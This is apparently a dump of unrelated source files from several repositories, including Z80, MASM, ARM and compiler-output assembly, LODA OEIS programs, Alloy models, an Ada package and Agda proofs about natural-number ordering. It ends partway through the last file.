DW StockGemStones, StockAlienItems
generate_stock_market: ld b,$FF ; so the first iteration puts it at 0
call copy_galaxy_to_system
ld ix,StockFood-8 ; start 8 bytes before index as first add will shift
.generate_stock_loop: ld de,8
add ix,de ; Move down a row
inc b
.CalcPrice: ld c,(ix+3); ; c = base price
ld a,(RandomMarketSeed)
and (ix+6) ; and with market mask
add a,c
ld c,a ; c = base + rand & market mask
ld a,(DisplayEcononmy) ; d= economy
ld d,a
ld a,(ix+4)
ld e,a ; e = economy adjust
bit 7,e
jr nz,.PosMul ; it could be negative and we onnly want
;.NegMul: ; e reg from mulitply not a 2'c 16 bit word
ld a,e
neg
ld e,a
.PosMul:
ld a,e
neg
ld e,a
mul
ld a,c
add a,e
sla a
sla a ; Multply price by 4
ld (ix+2),a ; Now have set price
.CalcQty: ld c,(ix+5); ; c = base price
ld a,(RandomMarketSeed)
and (ix+6) ; and with market mask
add a,c
ld c,a ; c = base + rand & market mask
ld a,(DisplayEcononmy) ; d= economy
ld d,a
ld a,(ix+4)
ld e,a ; e = economy adjust
bit 7,e
jr nz,.PosQtyMul ; it could be negative and we onnly want
.NegQtyMul: ld a,e ; e reg from mulitply not a 2'c 16 bit word
neg
ld e,a
.PosQtyMul: ld a,e
neg
ld e,a
mul
ld a,c
sub e
ld (ix+1),a ; Now have set quanity
ld a,b
cp AlienItemsIndex
jr nz,.generate_stock_loop
xor a
ld (ix+1),a ; Now have set quanity of alient items to always 0 in stock
ret
|
Friend_William_Project_4_work_.asm | William0Friend/my_masm | 0 | 10003 | <reponame>William0Friend/my_masm<gh_stars>0
include Irvine32.inc
; This program sorts an array with random integers
; and outputs them in order
.const
lengthListThree EQU (lengthof listOne + lengthof listTwo)
.data
;array BYTE 20, 10, 60, 5, 120, 90, 100 ; array with 7 values
;arraysize = ($ - array) -1 ; size of array
;count DWORD ? ; mem to hold ecx
;total DWORD 0
;listOne DWORD 2, 4, 6, 8, 10, 12, 14
;listTwo DWORD 1, 3, 5, 7, 9, 11, 13, 15
;listThree DWORD (lengthof listOne + lengthof listTwo) DUP(0)
;list3 DWORD (($-listOne)+($-listTwo)) DUP(?)
;listOne dword 1,3,4,7,9,15,17
;listTwo dword 2,6,8,10,11,14,18,19
;listOne dword 1, 3, 5, 7, 9, 11, 13, 15
;listTwo dword 2, 4, 6, 8, 10, 12, 14, 16
listOne dword 1, 1, 1, 1
listTwo dword 2, 4, 6, 8, 10, 12, 14, 16
;lengthListTwo dword
listThree dword lengthListThree dup(0)
str0 byte "CPSC 232 - Program #3", 0
str1 byte "Input List: ", 0
str2 byte "Merged List: ", 0
.code
main proc
;str0 BYTE "CPSC 232 - Program #3",0
mov edx, offset str0
call WriteString
call Crlf
call Crlf
;str1 byte "Input List: ", 0
mov edx, offset str1
call WriteString
;listOne
mov ebx, (lengthof listOne)
mov edx, offset listOne
call DisplayG2
call Crlf
;str1 byte "Input List: ", 0
mov edx, offset str1
call WriteString
;listTwo
mov ebx, (lengthof listTwo)
mov edx, offset listTwo
call DisplayG2
call Crlf
;str1 byte "Merge List: ", 0
mov edx, offset str2
call WriteString
;sort, merge, print
xor eax, eax
mov esi, offset listOne
mov edi, offset listTwo
mov edx, offset listThree
call Merge
;mov edx, offset listThree
mov ebx, lengthof listThree
call DisplayG2
exit
main endp
;=====================================================================
Merge proc uses edx
mov ecx, lengthListThree ;Set loop times
L1:
L3:
mov eax, [esi]
cmp eax, [edi]
je equal
jl lesser ;Jump if less
jg greater ;Jump if greater
loop L3
mov ecx, 1
;je equal
loop L1
jmp J2
lesser:
mov eax,[esi]
mov [edx], eax
cmp esi, offset listTwo;======== edx,
jne a
je b
a:
add esi, type dword
add edx, type dword
loop L3
b:
mov eax, [edi]
mov [edx], eax
ret
greater:
mov eax, [edi]
mov [edx], eax
cmp esi, offset listTwo;======== edx,
jne a2
je b2
a2:
add edi, type dword
add edx, type dword
loop L3
b2:
mov eax, [esi]
mov edx, eax
ret
equal:
cmp esi, offset listTwo;======== edx,
jne a3
je b3
a3:
cmp edi, offset listOne;======== edx,
jne a4
je b4
;mov eax,[esi]
;mov [edx], eax
;add esi, type dword
;add edx, type dword
dec edi; or esi
loop L3
b3:
mov eax,[esi]
mov [edx], eax
add esi, type dword
add edx, type dword
loop L3
a4:
;mov eax,[edi]
;mov [edx], eax
;add edi, type dword
;add edx, type dword
;dec ecx
dec esi; or edi
jmp L3
b4:
mov eax,[edi]
mov [edx], eax
add edi, type dword
add edx, type dword
dec ecx
jmp L3
J2:
ret
Merge endp
;==================================================================
DisplayG2 proc uses ebx ecx edx
mov ecx, ebx
DisplayGLoop:
mov eax,[edx]
; cmp eax, STX
; je startoftext
call WriteDec
cmp ecx, 1
je removelastcomma
mov eax, ','
call WriteChar
mov eax, ' '
call WriteChar
;call crlf
add edx,4
loop DisplayGLoop
ret
startoftext:
;mov eax, 0
add edx,4
loop DisplayGLoop
removelastcomma:
ret
DisplayG2 endp
;DisplayOneAtATime proc
; movzx eax,byte ptr [esi]
; push eax
; print esp ;display the string that is on the stack
; pop eax
;DisplayOneAtATime endp
end main
COMMENT !
;=====================================================================
Merge proc
mov ECX,lengthof a3 ;Set loop times
TheLoop:
TheJump:
mov ax,[ESI]
cmp ax,[EDI]
jl lesser ;Jump if less
jg greater ;Jump if greater
je equal ;jump if equal
Loop TheLoop
jmp EndJump
lesser:
mov ax,[ESI]
mov [EDX],ax
add ESI,2
add EDX,2
jmp TheJump
greater:
mov ax,[EDI]
mov [EDX],ax
add EDI,2
add EDX,2
jmp TheJump
equal:
;mov ax,[EDI]
;mov [EDX],ax
mov ax,[ESI] ;since eqaul doesnt matter which yu put in new array
mov [EDX],ax
add ESI,2
add EDX,2
jmp TheJump
EndJump:
ret
Merge endp
;==================================================================
Display proc
mov ECX,lengthof a3 ;Set loop times
mov EDX,offset a3
DisplayLoop:
mov ax,[EDX]
add EDX,2
call writedec
call crlf
loop DisplayLoop
ret
Display endp
;===================================================================
end main
!
|
programs/oeis/140/A140475.asm | neoneye/loda | 22 | 25243 | ; A140475: 1 along with primes greater than 3.
; 1,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277
seq $0,98090 ; Numbers k such that 2k-3 is prime.
mov $2,3
bin $2,$0
sub $0,$2
mul $0,2
sub $0,3
|
alloy4fun_models/trashltl/models/9/PLdy78kQikupH3nHi.als | Kaixi26/org.alloytools.alloy | 0 | 3828 | open main
pred idPLdy78kQikupH3nHi_prop10 {
all f: File | once f in Protected implies always f in Protected
}
pred __repair { idPLdy78kQikupH3nHi_prop10 }
check __repair { idPLdy78kQikupH3nHi_prop10 <=> prop10o } |
oeis/239/A239024.asm | neoneye/loda-programs | 11 | 242509 | ; A239024: Number of n X 2 0..2 arrays with no element equal to the sum of elements to its left or one plus the sum of elements above it, modulo 3.
; Submitted by <NAME>
; 1,3,4,11,16,43,64,171,256,683,1024,2731,4096,10923,16384,43691,65536,174763,262144,699051,1048576,2796203,4194304,11184811,16777216,44739243,67108864,178956971,268435456,715827883,1073741824,2863311531,4294967296,11453246123,17179869184,45812984491,68719476736,183251937963,274877906944,733007751851,1099511627776,2932031007403,4398046511104,11728124029611,17592186044416,46912496118443,70368744177664,187649984473771,281474976710656,750599937895083,1125899906842624,3002399751580331
mov $1,2
pow $1,$0
mod $0,2
add $0,3
mul $1,2
add $1,2
mul $1,$0
mov $0,$1
div $0,6
sub $0,1
|
mc-sema/validator/x86/tests/SUB8mr.asm | randolphwong/mcsema | 2 | 178260 | BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; SUB8mr
;TEST_BEGIN_RECORDING
lea eax, [esp-0x4]
mov DWORD [eax], 0xc8
mov ebx, 0x2
sub BYTE [eax], bl
mov eax, [eax]
;TEST_END_RECORDING
|
engine/events/hidden_objects/new_bike.asm | opiter09/ASM-Machina | 1 | 22610 | PrintNewBikeText:
call EnableAutoTextBoxDrawing
tx_pre_jump NewBicycleText
NewBicycleText::
text_far _NewBicycleText
text_end
|
src/base/beans/util-beans-objects-maps.adb | RREE/ada-util | 60 | 27751 | <filename>src/base/beans/util-beans-objects-maps.adb
-----------------------------------------------------------------------
-- util-beans-objects-maps -- Object maps
-- Copyright (C) 2010, 2011, 2012, 2017, 2018, 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
package body Util.Beans.Objects.Maps is
-- ------------------------------
-- Get the value identified by the name.
-- If the name cannot be found, the method should return the Null object.
-- ------------------------------
function Get_Value (From : in Map_Bean;
Name : in String) return Object is
Pos : constant Cursor := From.Find (Name);
begin
if Has_Element (Pos) then
return Element (Pos);
else
return Null_Object;
end if;
end Get_Value;
-- ------------------------------
-- Set the value identified by the name.
-- If the map contains the given name, the value changed.
-- Otherwise name is added to the map and the value associated with it.
-- ------------------------------
procedure Set_Value (From : in out Map_Bean;
Name : in String;
Value : in Object) is
begin
From.Include (Name, Value);
end Set_Value;
-- ------------------------------
-- Iterate over the members of the map.
-- ------------------------------
procedure Iterate (From : in Object;
Process : not null access procedure (Name : in String;
Item : in Object)) is
procedure Process_One (Pos : in Maps.Cursor);
procedure Process_One (Pos : in Maps.Cursor) is
begin
Process (Maps.Key (Pos), Maps.Element (Pos));
end Process_One;
Bean : constant access Util.Beans.Basic.Readonly_Bean'Class := To_Bean (From);
begin
if Bean /= null and then Bean.all in Util.Beans.Objects.Maps.Map_Bean'Class then
Map_Bean'Class (Bean.all).Iterate (Process_One'Access);
end if;
end Iterate;
-- ------------------------------
-- Create an object that contains a <tt>Map_Bean</tt> instance.
-- ------------------------------
function Create return Object is
M : constant Map_Bean_Access := new Map_Bean;
begin
return To_Object (Value => M, Storage => DYNAMIC);
end Create;
end Util.Beans.Objects.Maps;
|
Dave/Algebra/Naturals/Ordering.agda | DavidStahl97/formal-proofs | 0 | 9249 | module Dave.Algebra.Naturals.Ordering where
open import Dave.Algebra.Naturals.Definition public
open import Dave.Algebra.Naturals.Addition public
open import Dave.Algebra.Naturals.Multiplication public
-- TO-DO: define relation
data _≤_ : ℕ → ℕ → Set where
z≤n : ∀ {n : ℕ} → zero ≤ n
s≤s : ∀ {m n : ℕ} → m ≤ n → suc m ≤ suc n
infix 4 _≤_
inv-s≤s : ∀ {m n : ℕ} → suc m ≤ suc n → m ≤ n
inv-s≤s (s≤s m≤n) = m≤n
inv-z≤n : ∀ {m : ℕ} → m ≤ zero → m ≡ zero
inv-z≤n z≤n = refl
-- TO-DO: define relation properties in general
≤-refl : ∀ {n : ℕ} → n ≤ n
≤-refl {zero} = z≤n
≤-refl {suc n} = s≤s ≤-refl
≤-trans : ∀ {m n p : ℕ} → m ≤ n → n ≤ p → m ≤ p
≤-trans z≤n n≤p = z≤n
≤-trans (s≤s m≤n) (s≤s n≤p) = s≤s (≤-trans m≤n n≤p)
≤-trans´ : ∀ (m n p : ℕ) → m ≤ n → n ≤ p → m ≤ p
≤-trans´ zero n p z≤n n≤p = z≤n
≤-trans´ (suc m) (suc n) (suc p) (s≤s m≤n) (s≤s n≤p) = s≤s (≤-trans´ m n p m≤n n≤p)
≤-antisym : ∀ {m n : ℕ} → m ≤ n → n ≤ m → m ≡ n
≤-antisym z≤n z≤n = refl
≤-antisym (s≤s m≤n) (s≤s n≤m) = cong suc (≤-antisym m≤n n≤m)
data Total (m n : ℕ) : Set where
forward : m ≤ n → Total m n
flipped : n ≤ m → Total m n
data Total´ : ℕ → ℕ → Set where
forward´ : ∀ {m n : ℕ} → m ≤ n → Total´ m n
flipped´ : ∀ {m n : ℕ} → n ≤ m → Total´ m n
≤-total : ∀ (m n : ℕ) → Total m n
≤-total zero n = forward z≤n
≤-total (suc m) zero = flipped z≤n
≤-total (suc m) (suc n) with ≤-total m n
... | forward m≤n = forward (s≤s m≤n)
... | flipped n≤m = flipped (s≤s n≤m)
≤-total´ : ∀ (m n : ℕ) → Total m n
≤-total´ zero n = forward z≤n
≤-total´ (suc m) zero = flipped z≤n
≤-total´ (suc m) (suc n) = helper (≤-total´ m n)
where
helper : Total m n → Total (suc m) (suc n)
helper (forward m≤n) = forward (s≤s m≤n)
helper (flipped n≤m) = flipped (s≤s n≤m)
+-monoᵣ-≤ : ∀ (n p q : ℕ) → p ≤ q → n + p ≤ n + q
+-monoᵣ-≤ zero p q p≤q = p≤q
+-monoᵣ-≤ (suc n) p q p≤q = s≤s (+-monoᵣ-≤ n p q p≤q)
+-monoₗ-≤ : ∀ (m n p : ℕ) → m ≤ n → m + p ≤ n + p
+-monoₗ-≤ m n p m≤n rewrite +-comm m p | +-comm n p = +-monoᵣ-≤ p m n m≤n
+-mono-≤ : ∀ (m n p q : ℕ) → m ≤ n → p ≤ q → m + p ≤ n + q
+-mono-≤ m n p q m≤n p≤q = ≤-trans (+-monoₗ-≤ m n p m≤n) (+-monoᵣ-≤ n p q p≤q)
*-monoᵣ-≤ : ∀ (n p q : ℕ) → p ≤ q → n * p ≤ n * q
*-monoᵣ-≤ zero p q p≤q = z≤n
*-monoᵣ-≤ (suc n) p q p≤q = +-mono-≤ (n * p) (n * q) p q (*-monoᵣ-≤ n p q p≤q) p≤q
*-monoₗ-≤ : ∀ (m n p : ℕ) → m ≤ n → m * p ≤ n * p
*-monoₗ-≤ m n p m≤n rewrite ℕ-*-comm m p | ℕ-*-comm n p = *-monoᵣ-≤ p m n m≤n
*-mono-≤ : ∀ (m n p q : ℕ) → m ≤ n → p ≤ q → m * p ≤ n * q
*-mono-≤ m n p q m≤n p≤q = ≤-trans (*-monoₗ-≤ m n p m≤n) (*-monoᵣ-≤ n p q p≤q)
{- Strict inequality -}
infix 4 _<_ _>_
data _<_ : ℕ → ℕ → Set where
z<s : ∀ {n : ℕ} → zero < suc n
s<s : ∀ {m n : ℕ} → m < n → suc m < suc n
<-trans : ∀ {m n p : ℕ} → m < n → n < p → m < p
<-trans z<s (s<s n<p) = z<s
<-trans (s<s m<n) (s<s n<p) = s<s (<-trans m<n n<p)
+-monoᵣ-< : ∀ (n p q : ℕ) → p < q → n + p < n + q
+-monoᵣ-< zero p q p<q = p<q
+-monoᵣ-< (suc n) p q p<q = s<s (+-monoᵣ-< n p q p<q)
+-monoₗ-< : ∀ (m n p : ℕ) → m < n → m + p < n + p
+-monoₗ-< m n p m<n rewrite +-comm m p | +-comm n p = +-monoᵣ-< p m n m<n
+-mono-< : ∀ (m n p q : ℕ) → m < n → p < q → m + p < n + q
+-mono-< m n p q m<n p<q = <-trans (+-monoₗ-< m n p m<n) (+-monoᵣ-< n p q p<q)
suc-≤→< : ∀ (m n : ℕ) → suc m ≤ n → m < n
suc-≤→< zero (suc n) leq = z<s
suc-≤→< (suc m) (suc n) (s≤s leq) = s<s (suc-≤→< m n leq)
<→suc-≤ : ∀ (m n : ℕ) → m < n → suc m ≤ n
<→suc-≤ zero (suc n) le = s≤s z≤n
<→suc-≤ (suc m) (suc n) (s<s le) = s≤s (<→suc-≤ m n le)
data _>_ : ℕ → ℕ → Set where
co-m>n : ∀ {m n : ℕ} → n < m → m > n
ℕ-suc-> : ∀ {m n : ℕ} → m > n → suc m > suc n
ℕ-suc-> (co-m>n x) = co-m>n (s<s x)
{- Trichotomy -}
data Trichotomy (m n : ℕ) : Set where
t-m>n : m > n → Trichotomy m n
t-m≡n : m ≡ n → Trichotomy m n
t-m<n : m < n → Trichotomy m n
ℕ-suc-Trichotomy : ∀ {m n : ℕ} → Trichotomy m n → Trichotomy (suc m) (suc n)
ℕ-suc-Trichotomy (t-m>n x) = t-m>n (ℕ-suc-> x)
ℕ-suc-Trichotomy (t-m≡n refl) = t-m≡n refl
ℕ-suc-Trichotomy (t-m<n x) = t-m<n (s<s x)
ℕ-is-Trichotomy : ∀ (m n : ℕ) → Trichotomy m n
ℕ-is-Trichotomy zero zero = t-m≡n refl
ℕ-is-Trichotomy zero (suc n) = t-m<n z<s
ℕ-is-Trichotomy (suc m) zero = t-m>n (co-m>n z<s)
ℕ-is-Trichotomy (suc m) (suc n) = ℕ-suc-Trichotomy (ℕ-is-Trichotomy m n)
|
Assembly/keyboard/cursor.asm | WildGenie/Ninokuni | 14 | 16363 | ;;----------------------------------------------------------------------------;;
;; Update the cursor coordinates
;; Copyright 2015 <NAME> (aka pleonex)
;;
;; Licensed under the Apache License, Version 2.0 (the "License");
;; you may not use this file except in compliance with the License.
;; You may obtain a copy of the License at
;;
;; http://www.apache.org/licenses/LICENSE-2.0
;;
;; Unless required by applicable law or agreed to in writing, software
;; distributed under the License is distributed on an "AS IS" BASIS,
;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;; See the License for the specific language governing permissions and
;; limitations under the License.
;;----------------------------------------------------------------------------;;
;;----------------------------------------------------------------------------;;
;; New code located at unused keyboard keys
;;----------------------------------------------------------------------------;;
.org 0x020CBE14
.area 0x64
@getStringWidth:
; Get the width in pixel of a string.
; ARGUMENTS:
; R0: Skipped chars
; R1: String length
; R2: Width to add
; R4: Keyboard struct
; RETURNS:
@font_getGlyphIdx equ 0x0202FE00
@font_getGlyphSize equ 0x0202FE48
STMFD SP!, {R5,R6,R7,LR}
MOV R7, R1 ; String length
MOV R5, R2 ; Length
LDR R6, [R4, 0x3D0] ; Name pointer
ADD R6, R0 ; Skip some chars
B @checkIfNextIsNull
@addWidthChar:
; Substract size
SUB R7, R7, #1
; Get the index of the char
LDR R0, [R4,#0xC+0x20] ; Font object
BL @font_getGlyphIdx
; Get the CWDH section for the char
MOV R1, R0 ; Char index
LDR R0, [R4,#0xC+0x20] ; Font object
BL @font_getGlyphSize
; Read the "Advance" field and add it
LDRB R0, [R0,#2] ; Advance
ADD R5, R0 ; Add to current length
@checkIfNextIsNull:
LDRB R1, [R6], #1 ; Read next char
CMP R1, #0 ; Check if it's not null
CMPNE R7, #0 ; Check there are chars to read
BNE @addWidthChar
MOV R1, R5
LDMFD SP!, {R5,R6,R7,PC}
.endarea
;;----------------------------------------------------------------------------;;
;; Patch for kb_updateCursor function
;;----------------------------------------------------------------------------;;
; # Mode: Variable separation
.org 020C66D4h
.area 0x24
STR R1, [R4,#0x3D8] ; Set cursor position
LDR R2, [R4,#0x3E8] ; Load Box X Position
ADD R2, R2, #0x4
MOV R0, #0
BL @getStringWidth
LDR R2, [R4,#0x3EC] ; Load Box Y Position
ADD R2, R2, #0x11
LDR R0, [R4,#0x180] ; Load Pointer OAM Cursor
.endarea
; # Mode: Constante separation between chars
;.org 020C66E0h
;.area 4h
; MOV R0, #0xE
;.endarea
|
archs/exec_arm7.als | mpardalos/memalloy | 20 | 3733 | module exec_arm7[E]
open exec_H[E]
sig Exec_Arm7 extends Exec_H {
ISB, DMBST, DMBLD: set E
}{
ISB + DMBST + DMBLD = F
disj[ISB, DMBST + DMBLD]
//NB: DMB = DMBST & DMBLD
// control dependencies only come out of reads
cd in (R -> EV)
}
one sig rm_DMBST extends PTag {}
one sig rm_DMBLD extends PTag {}
fun ISB[e:PTag->E, X:Exec_Arm7] : set E {
X.ISB - e[rm_EV] }
fun DMBST[e:PTag->E, X:Exec_Arm7] : set E {
X.DMBST - e[rm_EV] - e[rm_DMBST] }
fun DMBLD[e:PTag->E, X:Exec_Arm7] : set E {
X.DMBLD - e[rm_EV] - e[rm_DMBLD] }
fun DMB[e:PTag->E, X:Exec_Arm7] : set E {
DMBLD[e,X] & DMBST[e,X] }
fun isb[e:PTag->E, X:Exec_Arm7] : E->E { addsb[e,X,ISB[e,X]] }
fun dmbst[e:PTag->E, X:Exec_Arm7] : E->E { addsb[e,X,DMBST[e,X]] }
fun dmbld[e:PTag->E, X:Exec_Arm7] : E->E { addsb[e,X,DMBLD[e,X]] }
fun dmb[e:PTag->E, X:Exec_Arm7] : E->E { addsb[e,X,DMB[e,X]] }
|
audio/sfx/fly_1.asm | AmateurPanda92/pokemon-rby-dx | 9 | 176614 | <gh_stars>1-10
SFX_Fly_1_Ch7:
noisenote 2, 15, 1, 18
noisenote 2, 0, 0, 0
noisenote 2, 10, 1, 18
noisenote 2, 0, 0, 0
noisenote 2, 13, 1, 18
noisenote 2, 0, 0, 0
noisenote 2, 8, 1, 18
noisenote 2, 0, 0, 0
noisenote 2, 11, 1, 18
noisenote 2, 0, 0, 0
noisenote 2, 6, 1, 18
noisenote 2, 0, 0, 0
noisenote 2, 9, 1, 18
noisenote 2, 0, 0, 0
noisenote 2, 4, 1, 18
noisenote 2, 0, 0, 0
endchannel
|
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_f_rename.asm | jpoikela/z88dk | 640 | 245138 | ; unsigned char esx_f_rename(unsigned char *old, unsigned char *new)
SECTION code_esxdos
PUBLIC _esx_f_rename
EXTERN l0_esx_f_rename_callee
_esx_f_rename:
pop af
pop hl
pop de
push de
push hl
push af
jp l0_esx_f_rename_callee
|
source/code/extern.asm | paulscottrobson/rpl-c | 1 | 27150 | ; ******************************************************************************
; ******************************************************************************
;
; Name : extern.asm
; Purpose : External functionality
; Author : <NAME> (<EMAIL>)
; Created : 10th January 2020
;
; ******************************************************************************
; ******************************************************************************
; ******************************************************************************
;
; Extern Initialise
;
; ******************************************************************************
ExternInitialise:
lda #144 ; set colour
jsr $FFD2
lda #$01
jsr $FFD2
lda #14 ; lower case
jsr $FFD2
lda #147 ; clear screen
jsr $FFD2
lda #COL_WHITE ; white text.
jmp ExternColour
; ******************************************************************************
;
; Break Check
;
; ******************************************************************************
ExternCheckBreak:
phx ; make sure we keep XY
phy
jsr $FFE1 ; STOP check on CBM KERNAL
beq _ECBExit ; stopped
ply ; restore and exit.
plx
rts
_ECBExit:
rerror "ESCAPE"
; ******************************************************************************
;
; Print A
;
; ******************************************************************************
ExternPrint:
pha
phx
phy
and #$7F
jsr $FFD2
ply
plx
pla
rts
; ******************************************************************************
;
; Switch colours
;
; ******************************************************************************
ExternColour:
pha
phx
pha
and #8
asl a
asl a
asl a
asl a
eor #$92
jsr $FFD2
pla
and #7
tax
lda _ECTable,x
jsr $FFD2
plx
pla
rts
_ECTable:
.byte 144
.byte 28
.byte 30
.byte 158
.byte 31
.byte 156
.byte 159
.byte 5
; ******************************************************************************
;
; Input a command, ASCII U/C String in InputBuffer
;
; ******************************************************************************
ExternInput:
lda #(textBuffer & $FF)
sta temp3
lda #(textBuffer >> 8)
sta temp3+1
_EIRead:jsr $FFCF
cmp #13
beq _EIExit
and #$7F
sta (temp3)
inc temp3
bne _EIRead
inc temp3+1
bra _EIRead
_EIExit:lda #0
sta (temp3)
lda #13
jsr ExternPrint
rts
; ******************************************************************************
;
; Save a file from YA to temp1
;
; ******************************************************************************
ExternSave:
phx
phy
sta temp2 ; save start
sty temp2+1
jsr EXGetLength ; get length of file into A
ldx temp3
ldy temp3+1
jsr $FFBD ; set name
;
lda #1
ldx #8 ; device #8
ldy #0
jsr $FFBA ; set LFS
;
ldx temp1 ; end address
ldy temp1+1
;
lda #temp2
jsr $FFD8 ; save
bcs _ESSave
ply
plx
rts
_ESSave:
rerror "SAVE FAILED"
; ******************************************************************************
;
; Load a file to YA
;
; ******************************************************************************
ExternLoad:
phx ; save XY
phy
pha ; save target
phy
jsr EXGetLength ; get length of file into A
ldx temp3
ldy temp3+1
jsr $FFBD ; set name
;
lda #1
ldx #8 ; device #8
ldy #0
jsr $FFBA ; set LFS
ply ; restore target to YX and call load
plx
lda #0 ; load command
jsr $FFD5
bcs _ESLoad
ply
plx
rts
_ESLoad:
rerror "LOAD FAILED"
; ******************************************************************************
;
; Get length of filename in temp3
;
; ******************************************************************************
EXGetLength:
phy
ldy #255
_EXGL0: iny
lda (temp3),y
bne _EXGL0
tya
ply
rts
; ******************************************************************************
;
; Print ASCIIZ string at YA
;
; ******************************************************************************
EXPrintString:
pha
phy
sty temp1+1
sta temp1
ldy #0
_EXPSLoop:
lda (temp1),y
beq _EXPSExit
and #$7F
jsr $FFD2
iny
bra _EXPSLoop
_EXPSExit:
ply
pla
rts |
src/Numeric/Nat/Properties.agda | L-TChen/agda-prelude | 111 | 10011 | <filename>src/Numeric/Nat/Properties.agda<gh_stars>100-1000
module Numeric.Nat.Properties where
open import Prelude hiding (less-antisym; less-antirefl; leq-antisym)
open import Prelude.Nat.Properties public
open import Tactic.Nat
--- Subtraction ---
sub-less : {a b : Nat} → a ≤ b → b - a + a ≡ b
sub-less {zero} _ = auto
sub-less {suc a} (diff! k) = auto
sub-underflow : (a b : Nat) → a ≤ b → a - b ≡ 0
sub-underflow a ._ (diff! k) = auto
sub-leq : (a b : Nat) → a - b ≤ a
sub-leq a b with compare a b
sub-leq a ._ | less (diff! k) = diff a auto
sub-leq a .a | equal refl = diff a auto
sub-leq ._ b | greater (diff! k) = diff b auto
--- LessNat ---
fast-diff : {a b : Nat} → a < b → a < b
fast-diff {a} {b} a<b = diff (b - suc a) (eraseEquality $ by (sub-less {suc a} {b} (by a<b)))
{-# INLINE fast-diff #-}
infixr 0 _⟨<⟩_ _⟨≤⟩_
_⟨<⟩_ : ∀ {x y z} → LessNat x y → LessNat y z → LessNat x z
diff! a ⟨<⟩ diff! b = diff (suc (b + a)) auto
less-antirefl : ∀ {a b : Nat} → a < b → ¬ (a ≡ b)
less-antirefl (diff! k) eq = refute eq
less-not-geq : ∀ {a b : Nat} → a < b → b ≤ a → ⊥
less-not-geq (diff d eq) (diff! d₁) = refute eq
less-raa : {a b : Nat} → ¬ (suc a > b) → a < b
less-raa {a} {b} a≱b with compare a b
less-raa a≱b | less a<b = a<b
less-raa a≱b | equal refl = ⊥-elim (a≱b auto)
less-raa a≱b | greater a>b = ⊥-elim (a≱b (by a>b))
_⟨≤⟩_ : {a b c : Nat} → a ≤ b → b ≤ c → a ≤ c
diff! k ⟨≤⟩ diff! k₁ = auto
private
leq-mul-r′ : ∀ a b → NonZero b → a ≤ a * b
leq-mul-r′ _ zero ()
leq-mul-r′ a (suc b) _ = auto
leq-mul-r : ∀ a b {{_ : NonZero b}} → a ≤ a * b
leq-mul-r a b = fast-diff (leq-mul-r′ _ b it)
-- Used for the well-founded induction over factorisation.
less-mul-l : {a b : Nat} → a > 1 → b > 1 → a < a * b
less-mul-l (diff! k) (diff! j) = auto
less-mul-r : {a b : Nat} → a > 1 → b > 1 → b < a * b
less-mul-r (diff! k) (diff! j) = auto
add-nonzero-l : ∀ a b {{_ : NonZero a}} → NonZero (a + b)
add-nonzero-l zero b {{}}
add-nonzero-l (suc a) b = _
add-nonzero-r : ∀ a b {{_ : NonZero b}} → NonZero (a + b)
add-nonzero-r zero zero {{}}
add-nonzero-r zero (suc b) = _
add-nonzero-r (suc a) b = _
mul-nonzero : ∀ a b {{nza : NonZero a}} {{nzb : NonZero b}} → NonZero (a * b)
mul-nonzero zero b {{nza = ()}}
mul-nonzero (suc a) zero {{nzb = ()}}
mul-nonzero (suc a) (suc b) = _
mul-nonzero-l : ∀ a b {{_ : NonZero (a * b)}} → NonZero a
mul-nonzero-l 0 _ {{}}
mul-nonzero-l (suc _) _ = _
mul-nonzero-r : ∀ a b {{_ : NonZero (a * b)}} → NonZero b
mul-nonzero-r a b {{nz}} = mul-nonzero-l b a {{transport NonZero auto nz}}
mul-unit-l : ∀ a b {{_ : NonZero b}} → a * b ≡ b → a ≡ 1
mul-unit-l 1 _ _ = refl
mul-unit-l 0 .0 {{}} refl
mul-unit-l (suc (suc a)) zero {{}} _
mul-unit-l (suc (suc a)) (suc b) ab=b = refute ab=b
mul-unit-r : ∀ a b {{_ : NonZero a}} → a * b ≡ a → b ≡ 1
mul-unit-r a b ab=a = mul-unit-l b a (mul-commute b a ⟨≡⟩ ab=a)
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/array23.adb | best08618/asylo | 7 | 9708 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/array23.adb
-- { dg-do link }
with Array23_Pkg1;
with Array23_Pkg2;
procedure Array23 is
A : Array23_Pkg1.Arr;
begin
A(Array23_Pkg2.One)(1) := 0;
end;
|
voxels/16/voxels.asm | reenigne/reenigne | 92 | 167723 | ; Static Name Aliases
;
; $S892_tau EQU tau
TITLE voxels.cpp
.8087
INCLUDELIB SLIBCE
INCLUDELIB OLDNAMES.LIB
_TEXT SEGMENT WORD PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT WORD PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT WORD PUBLIC 'BSS'
_BSS ENDS
DGROUP GROUP CONST, _BSS, _DATA
ASSUME DS: DGROUP, SS: DGROUP
EXTRN __acrtused:ABS
EXTRN __fltused:ABS
EXTRN __aNCIsin:NEAR
EXTRN __aNCIcos:NEAR
EXTRN _int86:NEAR
EXTRN __aNftol:NEAR
CONST SEGMENT
ORG $+20
$S892_tau DQ 0401921fb54442d18r ; 6.283185307179586
ORG $-28
$T991 DQ 03f70000000000000r ; 3.906250000000000E-03
$T992 DD 03b4ccccdr ; 3.1250000E-03
$T993 DQ 03fd0000000000000r ; .2500000000000000
CONST ENDS
_TEXT SEGMENT
ASSUME CS: _TEXT
PUBLIC _main
_main PROC NEAR
; Line 8
push bp
mov bp,sp
sub sp,66 ;0042H
push di
push si
